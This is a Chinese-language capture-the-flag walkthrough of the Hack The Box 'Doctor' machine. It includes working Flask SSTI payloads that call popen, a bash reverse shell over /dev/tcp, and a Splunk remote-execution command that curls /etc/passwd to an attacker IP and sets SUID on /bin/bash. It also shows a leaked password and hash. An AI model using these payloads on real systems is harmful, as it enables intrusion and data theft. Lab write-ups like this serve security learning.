- NAME:Doctor
- IP:10.10.10.209
- Difficulty:Easy-Medium
0x01 信息收集
nmap
directory busting
1 | http://10.129.50.156/ |
subdomain buting
1 | wfuzz -c -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hl 503 -H "Host: FUZZ.doctors.htb" -u http://doctors.htb -t 100 |
https
sqlunk 8.0.5 ,扫出来的v01什么的都是index。
访问services和servicesNS都需要密码访问,默认密码登陆不成功。
http
在about.html页面看到
将doctors.htb
绑定到IP,再次访问,变成了一个登陆页面,并且是用Flask框架开发的,python3.8.2。
注册页面尝试注册
注册成功,用注册成功的账号登陆(会自动恢复账号)
1 | .eJwtzk1qAzEMBeC7eJ2FbdmSlcsM-qUl0MJMsgq5e73oTk88Ht-7HHnG9VXuz_MVt3J8e7mXPrN3N0aEWRsQ99inUrMJmBCM3DAq8ABfa0SQ4CAwiXBsXWXFgjSRntk4zZiqqENq1-HsPBO8ZZ1JfXjgUKkMU0BCFjqVDXldcf5rdrTrzOP5-4if_ZCqu2cWoaRqrfXNWrKNNCo4CgDVvVs-fwsvQHA.X8Eo_A.x8gHAVYDCw0oRhBPfHVjIbrxl-Q |
这session字段的值看起来就像是json-web-token
但其实不是- -
管理员用户是admin
查看home页面的页面源代码知道了/archive 正在开发
随便写点东西然后访问该页面。<item><title>你写的东西</title></item>
0x02 漏洞利用
因为网站是用flask
开发的,这类python框架,有一种利用方式SSTI注入,漏洞成因是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。
尝试插入payload10
变成了10,说明存在模版引擎注入,如果你直接用上面那篇文章的payload是不行的,因为目标环境的python3.8.2有些类的位置和文章写的python3.6类位置不一样,所以得自己开个相同版本的python ide去看看。
1 | a=("".__class__.__bases__[0].__subclasses__()) |
在下标132的位置发现文章所使用的类。
本地尝试看能不能执行命令
1 | print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()) |
看起来可以,接下来到目标站点上试试。
1 | {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls -la').read()}} |
1 | {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat blog.sh').read()}} |
反弹shell
1 | {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("bash -c 'bash -i >&/dev/tcp/Your-IP/1234 0>&1'").read()}} |
监听后访问
0x03 提权
进行枚举。。。
找到两个密码
1 | /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password" |
1 | 1, admin, [email protected], default.gif, $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S |
[email protected]的密码爆破不成功。尝试用Guitar123
切换到shaun用户
提权至root
这里用了shaun的凭证,登陆上了splunk
然后,通过这篇文章了解到了该版本有个漏洞,直接使用exp测试下。
1 | python3 PySplunkWhisperer2_remote.py --host doctors.htb --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/etc/passwd' http://10.10.16.69:1222" --lhost 10.10.16.69 |
成功,可以使用任意命令,并且权限是root。
1 | python3 PySplunkWhisperer2_remote.py --host doctors.htb --port 8089 --username shaun --password "Guitar123" --payload "chmod +s /bin/bash" --lhost 10.10.16.69 |